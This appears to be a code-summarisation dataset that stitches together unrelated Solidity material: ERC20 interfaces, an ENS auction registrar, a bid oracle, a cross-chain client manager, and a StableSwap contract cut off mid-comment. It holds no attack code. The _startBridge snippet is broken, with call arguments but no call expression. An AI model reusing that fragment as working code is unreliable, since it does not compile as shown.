@notice Burns `amount` tokens from the balance of `msg.sender`. /// /// @param amount The amount of tokens to burn. /// /// @return If burning the tokens was successful. function burn(uint256 amount) external returns (bool); /// @notice Burns `amount` tokens from `owner`'s balance. /// /// @param owner The address to burn tokens from. /// @param amount The amount of tokens to burn. /// /// @return If burning the tokens was successful. function burnFrom(address owner, uint256 amount) external returns (bool); } pragma solidity >=0.5.0; /// @title IERC20Metadata /// @author Alchemix Finance interface IERC20Metadata { /// @notice Gets the name of the token. /// /// @return The name. function name() external view returns (string memory); /// @notice Gets the symbol of the token. /// /// @return The symbol. function symbol() external view returns (string memory); /// @notice Gets the number of decimals that the token has. /// /// @return The number of decimals. function decimals() external view returns (uint8); } pragma solidity >=0.5.0; /// @title IERC20Minimal /// @author Alchemix Finance interface IERC20Minimal { /// @notice An event which is emitted when tokens are transferred between two parties. /// /// @param owner The owner of the tokens from which the tokens were transferred. /// @param recipient The recipient of the tokens to which the tokens were transferred. /// @param amount The amount of tokens which were transferred. event Transfer(address indexed owner, address indexed recipient, uint256 amount); /// @notice An event which is emitted when an approval is made. /// /// @param owner The address which made the approval. /// @param spender The address which is allowed to transfer tokens on behalf of `owner`. /// @param amount The amount of tokens that `spender` is allowed to transfer. event Approval(address indexed owner, address indexed spender, uint256 amount); /// @notice Gets the current total supply of tokens. /// /// @return The total supply. function totalSupply() external view returns (uint256); /// @notice Gets the balance of tokens that an account holds. /// /// @param account The account address. /// /// @return The balance of the account. function balanceOf(address account) external view returns (uint256); /// @notice Gets the allowance that an owner has allotted for a spender. /// /// @param owner The owner address. /// @param spender The spender address. /// /// @return The number of tokens that `spender` is allowed to transfer on behalf of `owner`. function allowance(address owner, address spender) external view returns (uint256); /// @notice Transfers `amount` tokens from `msg.sender` to `recipient`. /// /// @notice Emits a {Transfer} event. /// /// @param recipient The address which will receive the tokens. /// @param amount The amount of tokens to transfer. /// /// @return If the transfer was successful. function transfer(address recipient, uint256 amount) external returns (bool); /// @notice Approves `spender` to transfer `amount` tokens on behalf of `msg.sender`. /// /// @notice Emits a {Approval} event. /// /// @param spender The address which is allowed to transfer tokens on behalf of `msg.sender`. /// @param amount The amount of tokens that `spender` is allowed to transfer. /// /// @return If the approval was successful. function approve(address spender, uint256 amount) external returns (bool); /// @notice Transfers `amount` tokens from `owner` to `recipient` using an approval that `owner` gave to `msg.sender`. /// /// @notice Emits a {Approval} event. /// @notice Emits a {Transfer} event. /// /// @param owner The address to transfer tokens from. /// @param recipient The address that will receive the tokens. /// @param amount The amount of tokens to transfer. /// /// @return If the transfer was successful. function transferFrom(address owner, address recipient, uint256 amount) external returns (bool); } pragma solidity >=0.5.0; import "./IERC20Minimal.sol"; /// @title IERC20Mintable /// @author Alchemix Finance interface IERC20Mintable is IERC20Minimal { /// @notice Mints `amount` tokens to `recipient`. /// /// @param recipient The address which will receive the minted tokens. /// @param amount The amount of tokens to mint. /// /// @return If minting the tokens was successful. function mint(address recipient, uint256 amount) external returns (bool); }
Subtract a unsigned 256-bit integer from a fixed point decimal. self The left hand operand. value The right hand operand. This will be converted to a fixed point decimal. return The result./
function sub(Number memory self, uint256 value) internal pure returns (Number memory) { return sub(self, FixedPointMath.encode(value)); }
157,643
./full_match/43114/0xbd8D369470169f9976c5bCc60318955836843a71/sources/src/Facets/AmarokFacet.sol
Contains the business logic for the bridge via Amarok _bridgeData The core information needed for bridging _amarokData Data specific to Amarok give max approval for token to Amarok bridge, if not already initiate bridge transaction
function _startBridge( BridgeData memory _bridgeData, AmarokData calldata _amarokData ) private { LibAsset.maxApproveERC20( IERC20(_bridgeData.sendingAssetId), address(connextHandler), _bridgeData.minAmount ); _amarokData.destChainDomainId, _amarokData.callTo, _bridgeData.sendingAssetId, _amarokData.delegate, _bridgeData.minAmount, _amarokData.slippageTol, _amarokData.callData ); emit LiFiTransferStarted(_bridgeData); }
4,641,528
pragma solidity ^0.4.13; contract AbstractENS { function owner(bytes32 node) constant returns(address); function resolver(bytes32 node) constant returns(address); function ttl(bytes32 node) constant returns(uint64); function setOwner(bytes32 node, address owner); function setSubnodeOwner(bytes32 node, bytes32 label, address owner); function setResolver(bytes32 node, address resolver); function setTTL(bytes32 node, uint64 ttl); // Logged when the owner of a node assigns a new owner to a subnode. event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); // Logged when the owner of a node transfers ownership to a new account. event Transfer(bytes32 indexed node, address owner); // Logged when the resolver for a node changes. event NewResolver(bytes32 indexed node, address resolver); // Logged when the TTL of a node changes event NewTTL(bytes32 indexed node, uint64 ttl); } contract ENS is AbstractENS { struct Record { address owner; address resolver; uint64 ttl; } mapping(bytes32=>Record) records; // Permits modifications only by the owner of the specified node. modifier only_owner(bytes32 node) { if(records[node].owner != msg.sender) throw; _; } /** * Constructs a new ENS registrar. */ function ENS() { records[0].owner = msg.sender; } /** * Returns the address that owns the specified node. */ function owner(bytes32 node) constant returns (address) { return records[node].owner; } /** * Returns the address of the resolver for the specified node. */ function resolver(bytes32 node) constant returns (address) { return records[node].resolver; } /** * Returns the TTL of a node, and any records associated with it. */ function ttl(bytes32 node) constant returns (uint64) { return records[node].ttl; } /** * Transfers ownership of a node to a new address. May only be called by the current * owner of the node. * @param node The node to transfer ownership of. * @param owner The address of the new owner. */ function setOwner(bytes32 node, address owner) only_owner(node) { Transfer(node, owner); records[node].owner = owner; } /** * Transfers ownership of a subnode sha3(node, label) to a new address. May only be * called by the owner of the parent node. * @param node The parent node. * @param label The hash of the label specifying the subnode. * @param owner The address of the new owner. */ function setSubnodeOwner(bytes32 node, bytes32 label, address owner) only_owner(node) { var subnode = sha3(node, label); NewOwner(node, label, owner); records[subnode].owner = owner; } /** * Sets the resolver address for the specified node. * @param node The node to update. * @param resolver The address of the resolver. */ function setResolver(bytes32 node, address resolver) only_owner(node) { NewResolver(node, resolver); records[node].resolver = resolver; } /** * Sets the TTL for the specified node. * @param node The node to update. * @param ttl The TTL in seconds. */ function setTTL(bytes32 node, uint64 ttl) only_owner(node) { NewTTL(node, ttl); records[node].ttl = ttl; } } contract Deed { address public registrar; address constant burn = 0xdead; uint public creationDate; address public owner; address public previousOwner; uint public value; event OwnerChanged(address newOwner); event DeedClosed(); bool active; modifier onlyRegistrar { if (msg.sender != registrar) throw; _; } modifier onlyActive { if (!active) throw; _; } function Deed(address _owner) payable { owner = _owner; registrar = msg.sender; creationDate = now; active = true; value = msg.value; } function setOwner(address newOwner) onlyRegistrar { if (newOwner == 0) throw; previousOwner = owner; // This allows contracts to check who sent them the ownership owner = newOwner; OwnerChanged(newOwner); } function setRegistrar(address newRegistrar) onlyRegistrar { registrar = newRegistrar; } function setBalance(uint newValue, bool throwOnFailure) onlyRegistrar onlyActive { // Check if it has enough balance to set the value if (value < newValue) throw; value = newValue; // Send the difference to the owner if (!owner.send(this.balance - newValue) && throwOnFailure) throw; } /** * @dev Close a deed and refund a specified fraction of the bid value * @param refundRatio The amount*1/1000 to refund */ function closeDeed(uint refundRatio) onlyRegistrar onlyActive { active = false; if (! burn.send(((1000 - refundRatio) * this.balance)/1000)) throw; DeedClosed(); destroyDeed(); } /** * @dev Close a deed and refund a specified fraction of the bid value */ function destroyDeed() { if (active) throw; // Instead of selfdestruct(owner), invoke owner fallback function to allow // owner to log an event if desired; but owner should also be aware that // its fallback function can also be invoked by setBalance if(owner.send(this.balance)) { selfdestruct(burn); } } } contract Registrar { AbstractENS public ens; bytes32 public rootNode; mapping (bytes32 => entry) _entries; mapping (address => mapping(bytes32 => Deed)) public sealedBids; enum Mode { Open, Auction, Owned, Forbidden, Reveal, NotYetAvailable } uint32 constant totalAuctionLength = 5 seconds; uint32 constant revealPeriod = 3 seconds; uint32 public constant launchLength = 0 seconds; uint constant minPrice = 0.01 ether; uint public registryStarted; event AuctionStarted(bytes32 indexed hash, uint registrationDate); event NewBid(bytes32 indexed hash, address indexed bidder, uint deposit); event BidRevealed(bytes32 indexed hash, address indexed owner, uint value, uint8 status); event HashRegistered(bytes32 indexed hash, address indexed owner, uint value, uint registrationDate); event HashReleased(bytes32 indexed hash, uint value); event HashInvalidated(bytes32 indexed hash, string indexed name, uint value, uint registrationDate); struct entry { Deed deed; uint registrationDate; uint value; uint highestBid; } // State transitions for names: // Open -> Auction (startAuction) // Auction -> Reveal // Reveal -> Owned // Reveal -> Open (if nobody bid) // Owned -> Open (releaseDeed or invalidateName) function state(bytes32 _hash) constant returns (Mode) { var entry = _entries[_hash]; if(!isAllowed(_hash, now)) { return Mode.NotYetAvailable; } else if(now < entry.registrationDate) { if (now < entry.registrationDate - revealPeriod) { return Mode.Auction; } else { return Mode.Reveal; } } else { if(entry.highestBid == 0) { return Mode.Open; } else { return Mode.Owned; } } } modifier inState(bytes32 _hash, Mode _state) { if(state(_hash) != _state) throw; _; } modifier onlyOwner(bytes32 _hash) { if (state(_hash) != Mode.Owned || msg.sender != _entries[_hash].deed.owner()) throw; _; } modifier registryOpen() { if(now < registryStarted || now > registryStarted + 4 years || ens.owner(rootNode) != address(this)) throw; _; } function entries(bytes32 _hash) constant returns (Mode, address, uint, uint, uint) { entry h = _entries[_hash]; return (state(_hash), h.deed, h.registrationDate, h.value, h.highestBid); } /** * @dev Constructs a new Registrar, with the provided address as the owner of the root node. * @param _ens The address of the ENS * @param _rootNode The hash of the rootnode. */ function Registrar(AbstractENS _ens, bytes32 _rootNode, uint _startDate) { ens = _ens; rootNode = _rootNode; registryStarted = _startDate > 0 ? _startDate : now; } /** * @dev Returns the maximum of two unsigned integers * @param a A number to compare * @param b A number to compare * @return The maximum of two unsigned integers */ function max(uint a, uint b) internal constant returns (uint max) { if (a > b) return a; else return b; } /** * @dev Returns the minimum of two unsigned integers * @param a A number to compare * @param b A number to compare * @return The minimum of two unsigned integers */ function min(uint a, uint b) internal constant returns (uint min) { if (a < b) return a; else return b; } /** * @dev Returns the length of a given string * @param s The string to measure the length of * @return The length of the input string */ function strlen(string s) internal constant returns (uint) { // Starting here means the LSB will be the byte we care about uint ptr; uint end; assembly { ptr := add(s, 1) end := add(mload(s), ptr) } for (uint len = 0; ptr < end; len++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } return len; } /** * @dev Determines if a name is available for registration yet * * Each name will be assigned a random date in which its auction * can be started, from 0 to 13 weeks * * @param _hash The hash to start an auction on * @param _timestamp The timestamp to query about */ function isAllowed(bytes32 _hash, uint _timestamp) constant returns (bool allowed){ return _timestamp > getAllowedTime(_hash); } /** * @dev Returns available date for hash * * @param _hash The hash to start an auction on */ function getAllowedTime(bytes32 _hash) constant returns (uint timestamp) { return registryStarted + (launchLength*(uint(_hash)>>128)>>128); // right shift operator: a >> b == a / 2**b } /** * @dev Assign the owner in ENS, if we're still the registrar * @param _hash hash to change owner * @param _newOwner new owner to transfer to */ function trySetSubnodeOwner(bytes32 _hash, address _newOwner) internal { if(ens.owner(rootNode) == address(this)) ens.setSubnodeOwner(rootNode, _hash, _newOwner); } /** * @dev Start an auction for an available hash * * Anyone can start an auction by sending an array of hashes that they want to bid for. * Arrays are sent so that someone can open up an auction for X dummy hashes when they * are only really interested in bidding for one. This will increase the cost for an * attacker to simply bid blindly on all new auctions. Dummy auctions that are * open but not bid on are closed after a week. * * @param _hash The hash to start an auction on */ function startAuction(bytes32 _hash) registryOpen() { var mode = state(_hash); if(mode == Mode.Auction) return; if(mode != Mode.Open) throw; entry newAuction = _entries[_hash]; newAuction.registrationDate = now + totalAuctionLength; newAuction.value = 0; newAuction.highestBid = 0; AuctionStarted(_hash, newAuction.registrationDate); } /** * @dev Start multiple auctions for better anonymity * @param _hashes An array of hashes, at least one of which you presumably want to bid on */ function startAuctions(bytes32[] _hashes) { for (uint i = 0; i < _hashes.length; i ++ ) { startAuction(_hashes[i]); } } /** * @dev Hash the values required for a secret bid * @param hash The node corresponding to the desired namehash * @param value The bid amount * @param salt A random value to ensure secrecy of the bid * @return The hash of the bid values */ function shaBid(bytes32 hash, address owner, uint value, bytes32 salt) constant returns (bytes32 sealedBid) { return sha3(hash, owner, value, salt); } /** * @dev Submit a new sealed bid on a desired hash in a blind auction * * Bids are sent by sending a message to the main contract with a hash and an amount. The hash * contains information about the bid, including the bidded hash, the bid amount, and a random * salt. Bids are not tied to any one auction until they are revealed. The value of the bid * itself can be masqueraded by sending more than the value of your actual bid. This is * followed by a 48h reveal period. Bids revealed after this period will be burned and the ether unrecoverable. * Since this is an auction, it is expected that most public hashes, like known domains and common dictionary * words, will have multiple bidders pushing the price up. * * @param sealedBid A sealedBid, created by the shaBid function */ function newBid(bytes32 sealedBid) payable { if (address(sealedBids[msg.sender][sealedBid]) > 0 ) throw; if (msg.value < minPrice) throw; // creates a new hash contract with the owner Deed newBid = (new Deed).value(msg.value)(msg.sender); sealedBids[msg.sender][sealedBid] = newBid; NewBid(sealedBid, msg.sender, msg.value); } /** * @dev Start a set of auctions and bid on one of them * * This method functions identically to calling `startAuctions` followed by `newBid`, * but all in one transaction. * @param hashes A list of hashes to start auctions on. * @param sealedBid A sealed bid for one of the auctions. */ function startAuctionsAndBid(bytes32[] hashes, bytes32 sealedBid) payable { startAuctions(hashes); newBid(sealedBid); } /** * @dev Submit the properties of a bid to reveal them * @param _hash The node in the sealedBid * @param _value The bid amount in the sealedBid * @param _salt The sale in the sealedBid */ function unsealBid(bytes32 _hash, uint _value, bytes32 _salt) { bytes32 seal = shaBid(_hash, msg.sender, _value, _salt); Deed bid = sealedBids[msg.sender][seal]; if (address(bid) == 0 ) throw; sealedBids[msg.sender][seal] = Deed(0); entry h = _entries[_hash]; uint value = min(_value, bid.value()); bid.setBalance(value, true); var auctionState = state(_hash); if(auctionState == Mode.Owned) { // Too late! Bidder loses their bid. Get's 0.5% back. bid.closeDeed(5); BidRevealed(_hash, msg.sender, value, 1); } else if(auctionState != Mode.Reveal) { // Invalid phase throw; } else if (value < minPrice || bid.creationDate() > h.registrationDate - revealPeriod) { // Bid too low or too late, refund 99.5% bid.closeDeed(995); BidRevealed(_hash, msg.sender, value, 0); } else if (value > h.highestBid) { // new winner // cancel the other bid, refund 99.5% if(address(h.deed) != 0) { Deed previousWinner = h.deed; previousWinner.closeDeed(995); } // set new winner // per the rules of a vickery auction, the value becomes the previous highestBid h.value = h.highestBid; // will be zero if there's only 1 bidder h.highestBid = value; h.deed = bid; BidRevealed(_hash, msg.sender, value, 2); } else if (value > h.value) { // not winner, but affects second place h.value = value; bid.closeDeed(995); BidRevealed(_hash, msg.sender, value, 3); } else { // bid doesn't affect auction bid.closeDeed(995); BidRevealed(_hash, msg.sender, value, 4); } } /** * @dev Cancel a bid * @param seal The value returned by the shaBid function */ function cancelBid(address bidder, bytes32 seal) { Deed bid = sealedBids[bidder][seal]; // If a sole bidder does not `unsealBid` in time, they have a few more days // where they can call `startAuction` (again) and then `unsealBid` during // the revealPeriod to get back their bid value. // For simplicity, they should call `startAuction` within // 9 days (2 weeks - totalAuctionLength), otherwise their bid will be // cancellable by anyone. if (address(bid) == 0 || now < bid.creationDate() + totalAuctionLength + 2 weeks) throw; // Send the canceller 0.5% of the bid, and burn the rest. bid.setOwner(msg.sender); bid.closeDeed(5); sealedBids[bidder][seal] = Deed(0); BidRevealed(seal, bidder, 0, 5); } /** * @dev Finalize an auction after the registration date has passed * @param _hash The hash of the name the auction is for */ function finalizeAuction(bytes32 _hash) onlyOwner(_hash) { entry h = _entries[_hash]; // handles the case when there's only a single bidder (h.value is zero) h.value = max(h.value, minPrice); h.deed.setBalance(h.value, true); trySetSubnodeOwner(_hash, h.deed.owner()); HashRegistered(_hash, h.deed.owner(), h.value, h.registrationDate); } /** * @dev The owner of a domain may transfer it to someone else at any time. * @param _hash The node to transfer * @param newOwner The address to transfer ownership to */ function transfer(bytes32 _hash, address newOwner) onlyOwner(_hash) { if (newOwner == 0) throw; entry h = _entries[_hash]; h.deed.setOwner(newOwner); trySetSubnodeOwner(_hash, newOwner); } /** * @dev After some time, or if we're no longer the registrar, the owner can release * the name and get their ether back. * @param _hash The node to release */ function releaseDeed(bytes32 _hash) onlyOwner(_hash) { entry h = _entries[_hash]; Deed deedContract = h.deed; if(now < h.registrationDate + 1 years && ens.owner(rootNode) == address(this)) throw; h.value = 0; h.highestBid = 0; h.deed = Deed(0); _tryEraseSingleNode(_hash); deedContract.closeDeed(1000); HashReleased(_hash, h.value); } /** * @dev Submit a name 6 characters long or less. If it has been registered, * the submitter will earn 50% of the deed value. We are purposefully * handicapping the simplified registrar as a way to force it into being restructured * in a few years. * @param unhashedName An invalid name to search for in the registry. * */ function invalidateName(string unhashedName) inState(sha3(unhashedName), Mode.Owned) { if (strlen(unhashedName) > 6 ) throw; bytes32 hash = sha3(unhashedName); entry h = _entries[hash]; _tryEraseSingleNode(hash); if(address(h.deed) != 0) { // Reward the discoverer with 50% of the deed // The previous owner gets 50% h.value = max(h.value, minPrice); h.deed.setBalance(h.value/2, false); h.deed.setOwner(msg.sender); h.deed.closeDeed(1000); } HashInvalidated(hash, unhashedName, h.value, h.registrationDate); h.value = 0; h.highestBid = 0; h.deed = Deed(0); } /** * @dev Allows anyone to delete the owner and resolver records for a (subdomain of) a * name that is not currently owned in the registrar. If passing, eg, 'foo.bar.eth', * the owner and resolver fields on 'foo.bar.eth' and 'bar.eth' will all be cleared. * @param labels A series of label hashes identifying the name to zero out, rooted at the * registrar's root. Must contain at least one element. For instance, to zero * 'foo.bar.eth' on a registrar that owns '.eth', pass an array containing * [sha3('foo'), sha3('bar')]. */ function eraseNode(bytes32[] labels) { if(labels.length == 0) throw; if(state(labels[labels.length - 1]) == Mode.Owned) throw; _eraseNodeHierarchy(labels.length - 1, labels, rootNode); } function _tryEraseSingleNode(bytes32 label) internal { if(ens.owner(rootNode) == address(this)) { ens.setSubnodeOwner(rootNode, label, address(this)); var node = sha3(rootNode, label); ens.setResolver(node, 0); ens.setOwner(node, 0); } } function _eraseNodeHierarchy(uint idx, bytes32[] labels, bytes32 node) internal { // Take ownership of the node ens.setSubnodeOwner(node, labels[idx], address(this)); node = sha3(node, labels[idx]); // Recurse if there's more labels if(idx > 0) _eraseNodeHierarchy(idx - 1, labels, node); // Erase the resolver and owner records ens.setResolver(node, 0); ens.setOwner(node, 0); } /** * @dev Transfers the deed to the current registrar, if different from this one. * Used during the upgrade process to a permanent registrar. * @param _hash The name hash to transfer. */ function transferRegistrars(bytes32 _hash) onlyOwner(_hash) { var registrar = ens.owner(rootNode); if(registrar == address(this)) throw; // Migrate the deed entry h = _entries[_hash]; h.deed.setRegistrar(registrar); // Call the new registrar to accept the transfer Registrar(registrar).acceptRegistrarTransfer(_hash, h.deed, h.registrationDate); // Zero out the entry h.deed = Deed(0); h.registrationDate = 0; h.value = 0; h.highestBid = 0; } /** * @dev Accepts a transfer from a previous registrar; stubbed out here since there * is no previous registrar implementing this interface. * @param hash The sha3 hash of the label to transfer. * @param deed The Deed object for the name being transferred in. * @param registrationDate The date at which the name was originally registered. */ function acceptRegistrarTransfer(bytes32 hash, Deed deed, uint registrationDate) {} } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Whitelist is Ownable { mapping(address => bool) public whitelist; event WhitelistedAddressAdded(address addr); event WhitelistedAddressRemoved(address addr); /** * @dev Throws if called by any account that's not whitelisted. */ modifier onlyWhitelisted() { require(whitelist[msg.sender]); _; } /** * @dev add an address to the whitelist * @param addr address * @return true if the address was added to the whitelist, false if the address was already in the whitelist */ function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) { if (!whitelist[addr]) { whitelist[addr] = true; WhitelistedAddressAdded(addr); success = true; } } /** * @dev add addresses to the whitelist * @param addrs addresses * @return true if at least one address was added to the whitelist, * false if all addresses were already in the whitelist */ function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (addAddressToWhitelist(addrs[i])) { success = true; } } } /** * @dev remove an address from the whitelist * @param addr address * @return true if the address was removed from the whitelist, * false if the address wasn't in the whitelist in the first place */ function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) { if (whitelist[addr]) { whitelist[addr] = false; WhitelistedAddressRemoved(addr); success = true; } } /** * @dev remove addresses from the whitelist * @param addrs addresses * @return true if at least one address was removed from the whitelist, * false if all addresses weren't in the whitelist in the first place */ function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (removeAddressFromWhitelist(addrs[i])) { success = true; } } } } contract BedOracleV1 is Whitelist { struct Bid { uint value; uint reward; bytes32 hash; address owner; } Registrar internal registrar_; uint internal balance_; mapping (bytes32 => Bid) internal bids_; event Added(address indexed owner, bytes32 indexed shaBid, bytes8 indexed gasPrices, bytes cypherBid); event Finished(bytes32 indexed shaBid); event Forfeited(bytes32 indexed shaBid); event Withdrawn(address indexed to, uint value); function() external payable {} constructor(address _registrar) public { registrar_ = Registrar(_registrar); } // This function adds the bid to a map of bids for the oracle to bid on function add(bytes32 _shaBid, uint reward, bytes _cypherBid, bytes8 _gasPrices) external payable { // Validate that the bid doesn't exist require(bids_[_shaBid].owner == 0); require(msg.value > 0.01 ether + reward); // MAYBE take a cut // // we take 1 percent of the bid above the minimum. // uint cut = msg.value - 10 finney - reward / 100; // Create the bid bids_[_shaBid] = Bid( msg.value - reward, reward, bytes32(0), msg.sender ); // Emit an Added Event. We store the cypherBid inside the events because // it isn't neccisarry for any of the other steps while bidding emit Added(msg.sender, _shaBid, _gasPrices, _cypherBid); } // bid is responsable for calling the newBid function // Note: bid is onlyWhitelisted to make sure that we don't preemptivly bid // on a name. function bid(bytes32 _shaBid) external onlyWhitelisted { Bid storage b = bids_[_shaBid]; registrar_.newBid.value(b.value)(_shaBid); } // reveal is responsable for unsealing the bid. it also stores the hash // for later use when finalizing or forfeiting the auction. function reveal(bytes32 _hash, uint _value, bytes32 _salt) external { bids_[keccak256(_hash, this, _value, _salt)].hash = _hash; registrar_.unsealBid(_hash, _value, _salt); } // finalize claims the deed and transfers it back to the user. function finalize(bytes32 _shaBid) external { Bid storage b = bids_[_shaBid]; bytes32 node = keccak256(registrar_.rootNode(), b.hash); registrar_.finalizeAuction(b.hash); // set the resolver to zero in order to make sure no dead data is read. ENS(registrar_.ens()).setResolver(node, address(0)); registrar_.transfer(b.hash, b.owner); // make sure subsequent calls to 'forfeit' don't affect us. b.value = 0; // add gas to balance balance_ += b.reward; b.reward = 0; emit Finished(_shaBid); } function forfeit(bytes32 _shaBid) external onlyWhitelisted { Bid storage b = bids_[_shaBid]; // this is here to make sure that we don't steal the customers money // after they call 'add'. require(registrar_.state(b.hash) == Registrar.Mode.Owned); // give back the lost bid value. b.owner.transfer(b.value); b.value = 0; // add gas to balance balance_ += b.reward; b.reward = 0; emit Forfeited(_shaBid); } function getBid(bytes32 _shaBid) external view returns (uint, uint, bytes32, address) { Bid storage b = bids_[_shaBid]; return (b.value, b.reward, b.hash, b.owner); } function setRegistrar(address _newRegistrar) external onlyOwner { registrar_ = Registrar(_newRegistrar); } // withdraws from the reward pot function withdraw() external onlyWhitelisted { msg.sender.transfer(balance_); emit Withdrawn(msg.sender, balance_); balance_ = 0; } }
Submit a new sealed bid on a desired hash in a blind auction Bids are sent by sending a message to the main contract with a hash and an amount. The hash contains information about the bid, including the bidded hash, the bid amount, and a random salt. Bids are not tied to any one auction until they are revealed. The value of the bid itself can be masqueraded by sending more than the value of your actual bid. This is followed by a 48h reveal period. Bids revealed after this period will be burned and the ether unrecoverable. Since this is an auction, it is expected that most public hashes, like known domains and common dictionary words, will have multiple bidders pushing the price up. sealedBid A sealedBid, created by the shaBid function/ creates a new hash contract with the owner
function newBid(bytes32 sealedBid) payable { if (address(sealedBids[msg.sender][sealedBid]) > 0 ) throw; if (msg.value < minPrice) throw; Deed newBid = (new Deed).value(msg.value)(msg.sender); sealedBids[msg.sender][sealedBid] = newBid; NewBid(sealedBid, msg.sender, msg.value); }
11,898,229
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.6.8; pragma experimental ABIEncoderV2; import "../../interfaces/IClientManager.sol"; import "../../interfaces/IClient.sol"; import "../../interfaces/IAccessManager.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; contract ClientManager is Initializable, OwnableUpgradeable, IClientManager { // the name of this chain cannot be changed once initialized string private nativeChainName; // light client currently registered in this chain mapping(string => IClient) public clients; // relayer registered by each light client mapping(string => mapping(address => bool)) public relayers; // access control contract IAccessManager public accessManager; bytes32 public constant CREATE_CLIENT_ROLE = keccak256("CREATE_CLIENT_ROLE"); bytes32 public constant UPGRADE_CLIENT_ROLE = keccak256("UPGRADE_CLIENT_ROLE"); bytes32 public constant REGISTER_RELAYER_ROLE = keccak256("REGISTER_RELAYER_ROLE"); // only authorized accounts can perform related transactions modifier onlyAuthorizee(bytes32 role) { require(accessManager.hasRole(role, _msgSender()), "not authorized"); _; } // check if caller is relayer modifier onlyRelayer(string memory chainName) { require(relayers[chainName][msg.sender], "caller not register"); _; } function initialize(string memory name, address accessManagerContract) public initializer { nativeChainName = name; accessManager = IAccessManager(accessManagerContract); } /** * @notice this function is intended to be called by owner to create a light client and initialize light client data. * @param chainName the counterparty chain name * @param clientAddress light client contract address * @param clientState light client status * @param consensusState light client consensus status */ function createClient( string calldata chainName, address clientAddress, bytes calldata clientState, bytes calldata consensusState ) external onlyAuthorizee(CREATE_CLIENT_ROLE) { require( address(clients[chainName]) == address(0x0), "chainName already exist" ); require( clientAddress != address(0x0), "clientAddress can not be empty" ); IClient client = IClient(clientAddress); client.initializeState(clientState, consensusState); clients[chainName] = client; } /** * @notice this function is called by the relayer, the purpose is to update the state of the light client * @param chainName the counterparty chain name * @param header block header of the counterparty chain */ function updateClient(string calldata chainName, bytes calldata header) external onlyRelayer(chainName) { IClient client = clients[chainName]; require(client.status() == IClient.Status.Active, "client not active"); client.checkHeaderAndUpdateState(header); } /** * @notice this function is called by the owner, the purpose is to update the state of the light client * @param chainName the counterparty chain name * @param clientState light client status * @param consensusState light client consensus status */ function upgradeClient( string calldata chainName, bytes calldata clientState, bytes calldata consensusState ) external onlyAuthorizee(UPGRADE_CLIENT_ROLE) { IClient client = clients[chainName]; client.upgrade(clientState, consensusState); } /** * @notice this function is called by the owner, the purpose is to register the relayer address of a light client * @param chainName the counterparty chain name * @param relayer relayer address */ function registerRelayer(string calldata chainName, address relayer) external onlyAuthorizee(REGISTER_RELAYER_ROLE) { require(!relayers[chainName][relayer], "relayer already registered"); relayers[chainName][relayer] = true; } /** * @notice obtain the contract address of the client according to the registered client name * @param chainName the counterparty chain name */ function getClient(string memory chainName) public override returns (IClient) { return clients[chainName]; } /** * @notice get the name of this chain */ function getChainName() external view override returns (string memory) { return nativeChainName; } /** * @notice get the latest height of the specified client update * @param chainName the counterparty chain name */ function getLatestHeight(string memory chainName) public view override returns (Height.Data memory) { return (clients[chainName]).getLatestHeight(); } }
get the name of this chain/
function getChainName() external view override returns (string memory) { return nativeChainName; }
6,474,791
./full_match/80001/0xBd99517e1994226FB8124D37087A0b835829D593/sources/contracts/Portfolio.sol
Write function to get all projects
function getAllProjects() public view returns (Project[] memory) { return _projects; }
5,572,193
// SPDX-License-Identifier: MIT pragma solidity ^0.8; /* Invariant - price of trade and amount of liquidity are determined by this equation An^n sum(x_i) + D = ADn^n + D^(n + 1) / (n^n prod(x_i)) Topics 0. Newton's method x_(n + 1) = x_n - f(x_n) / f'(x_n) 1. Invariant 2. Swap - Calculate Y - Calculate D 3. Get virtual price 4. Add liquidity - Imbalance fee 5. Remove liquidity 6. Remove liquidity one token - Calculate withdraw one token - getYD TODO: test? */ library Math { function abs(uint x, uint y) internal pure returns (uint) { return x >= y ? x - y : y - x; } } contract StableSwap { // Number of tokens uint private constant N = 3; // Amplification coefficient multiplied by N^(N - 1) // Higher value makes the curve more flat // Lower value makes the curve more like constant product AMM uint private constant A = 1000 * (N**(N - 1)); // 0.03% uint private constant SWAP_FEE = 300; // Liquidity fee is derived from 2 constraints // 1. Fee is 0 for adding / removing liquidity that results in a balanced pool // 2. Swapping in a balanced pool is like adding and then removing liquidity // from a balanced pool // swap fee = add liquidity fee + remove liquidity fee uint private constant LIQUIDITY_FEE = (SWAP_FEE * N) / (4 * (N - 1)); uint private constant FEE_DENOMINATOR = 1e6; address[N] public tokens; // Normalize each token to 18 decimals // Example - DAI (18 decimals), USDC (6 decimals), USDT (6 decimals) uint[N] private multipliers = [1, 1e12, 1e12]; uint[N] public balances; // 1 share = 1e18, 18 decimals uint private constant DECIMALS = 18; uint public totalSupply; mapping(address => uint) public balanceOf; function _mint(address _to, uint _amount) private { balanceOf[_to] += _amount; totalSupply += _amount; } function _burn(address _from, uint _amount) private { balanceOf[_from] -= _amount; totalSupply -= _amount; } // Return precision-adjusted balances, adjusted to 18 decimals function _xp() private view returns (uint[N] memory xp) { for (uint i; i < N; ++i) { xp[i] = balances[i] * multipliers[i]; } } /** * @notice Calculate D, sum of balances in a perfectly balanced pool * If balances of x_0, x_1, ... x_(n-1) then sum(x_i) = D * @param xp Precision-adjusted balances * @return D */ 